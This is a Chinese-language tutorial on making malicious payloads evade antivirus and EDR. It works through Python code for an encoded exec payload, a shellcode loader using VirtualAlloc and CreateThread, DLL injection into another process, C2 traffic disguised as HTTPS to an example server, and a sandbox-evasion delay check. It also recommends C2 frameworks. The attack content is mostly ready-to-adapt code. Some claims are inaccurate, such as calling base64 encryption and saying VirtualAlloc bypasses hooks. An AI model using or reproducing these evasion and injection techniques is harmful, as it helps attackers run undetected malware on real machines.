一、真实案例:一次精心设计的免杀攻击
某公司安全团队在一次内部渗透测试中发现,企业的终端防护系统(EDR)能够精准识别并阻断大多数公开的攻击工具,包括 Cobalt Strike、Metasploit 等。然而,测试人员却成功利用自制免杀载荷绕过了防护,在目标主机中执行了恶意代码。最终,这次渗透测试暴露了防护系统的一大弱点:对于定制化免杀技术,传统的检测手段几乎无能为力。
这篇文章将以这个案例为起点,全面讲解免杀技术的核心思路、实战技巧以及工具使用方法。我们会从构造免杀载荷开始,逐步演示如何绕过杀软与 EDR,直到完成有效的攻击链。
---
二、载荷构造的艺术:设计一个免杀的恶意程序
实现免杀的第一步,是构造一个能逃过静态和动态检测的有效载荷。传统的恶意程序代码容易被杀软规则库捕获,因此我们需要对代码进行高度混淆和加密,同时利用内存操作技术避免落盘。

核心思路
- 代码混淆:通过变更变量名、函数名、控制流使代码难以被静态分析;
- 加壳与加密:对恶意代码进行加密,运行时解密;
- 内存加载:直接在内存中运行恶意代码,避免生成可疑文件;
- 签名伪装:利用合法的数字签名伪装恶意程序。
实战代码:生成免杀载荷
以下是一个利用 Python 构造免杀载荷的示例。我们通过加密原始恶意代码,并在运行时解密执行。
<pre><code class="language-python">import base64 import ctypes import os
原始恶意代码(示例为cmd执行),需加密
payload = ''' import os os.system("cmd /c whoami > C:\\temp\\result.txt") '''
加密恶意代码
def encrypt_payload(data): return base64.b64encode(data.encode()).decode()
解密并执行代码
def execute_payload(encrypted_data): decoded = base64.b64decode(encrypted_data).decode() exec(decoded)
生成加密的恶意载荷
encrypted_payload = encrypt_payload(payload) print(f"Encrypted Payload: {encrypted_payload}")
测试执行
execute_payload(encrypted_payload)</code></pre>
代码解释
encrypt_payload:将恶意代码进行 Base64 加密,提高静态检测难度;execute_payload:运行时解密并执行代码,避免落盘;- 伪装技巧:生成的加密载荷不会直接暴露恶意行为,检测难度显著提升。
---
三、动态对抗:绕过 EDR 的关键技术
EDR 的动态检测主要依赖行为分析与内存监控。为了绕过它,我们需要从以下几个角度入手:
1. API Hook 绕过
很多EDR会 hook 系统API,监控恶意行为。我们可以通过直接调用未被 hook 的低级 API 来避开检测。
<pre><code class="language-python">import ctypes import subprocess
使用WinAPI直接加载恶意代码到内存
def run_shellcode(shellcode): ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), shellcode, ctypes.c_int(len(shellcode))) thread = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(thread, ctypes.c_int(-1))
示例:加载简单的shellcode (需替换为自己的shellcode)
shellcode = b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2..." run_shellcode(shellcode)</code></pre>
这里我们直接通过 VirtualAlloc 分配内存并加载 shellcode,绕过了常见 API hook。
2. DLL注入与远程线程
利用目标进程的合法行为伪装恶意代码并执行,减少被监控的风险。以下是通过 DLL 注入的示例代码:
<pre><code class="language-python">import ctypes
注入目标进程
def inject_dll(process_id, dll_path):
打开目标进程
h_process = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, process_id)
分配内存并写入 DLL 路径
dll_addr = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, len(dll_path), 0x3000, 0x40) ctypes.windll.kernel32.WriteProcessMemory(h_process, dll_addr, dll_path, len(dll_path), None)
创建远程线程执行 DLL 注入
h_thread = ctypes.windll.kernel32.CreateRemoteThread(h_process, None, 0, ctypes.windll.kernel32.GetProcAddress( ctypes.windll.kernel32.LoadLibraryA, "LoadLibraryA"), dll_addr, 0, None) ctypes.windll.kernel32.WaitForSingleObject(h_thread, -1)
示例
inject_dll(1234, b"C:\\Path\\to\\malicious.dll")</code></pre>
这段代码实现了将一个恶意 DLL 注入到目标进程,并利用合法 API 加载执行。
---
四、流量伪装:让你的攻击隐形于网络
网络流量是另一个关键检测点。传统的 C2 通信流量容易被发现,因此我们需要对流量进行伪装。
使用 HTTPS 隐藏
通过合法的 HTTPS 流量伪装 C2 通信,以下是一个伪装流量的 Python 示例:

<pre><code class="language-python">import requests
C2 服务器地址
c2_url = "https://example.com/api"
模拟合法请求伪装恶意行为
def send_payload(data): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } response = requests.post(c2_url, json={"payload": data}, headers=headers) print(response.text)
示例:发送加密载荷
send_payload(encrypted_payload)</code></pre>
此代码通过 HTTPS 通信伪装恶意行为,同时使用常见的 User-Agent 和合法 API 路径降低被发现的概率。
---
五、如何逃避沙箱环境:抗分析技术
沙箱环境是检测恶意代码的重要工具,我们可以通过识别沙箱特征来规避分析。
时间检测方法
沙箱通常运行时间较短,可以通过延时检测沙箱:
<pre><code class="language-python">import time
检测运行时间
start = time.time() time.sleep(10) # 延时 10 秒 if time.time() - start < 10: print("可能是沙箱环境,退出") else: print("正常环境,继续执行恶意行为")</code></pre>
---
六、个人经验与注意事项

- 持续测试与迭代:免杀技术没有万能方案,针对目标环境持续测试和优化是成功的关键。
- 工具选择:推荐使用 Sliver 和 Havoc 等现代化 C2 框架替代传统工具。
- 合法性与道德观:免杀技术仅限授权测试,不得用于违法行为。
通过上述步骤,你可以构造免杀载荷并绕过杀软与 EDR,完成一次完整的渗透测试攻击链。但请牢记,这些技术必须在合法范围内使用,否则后果自负。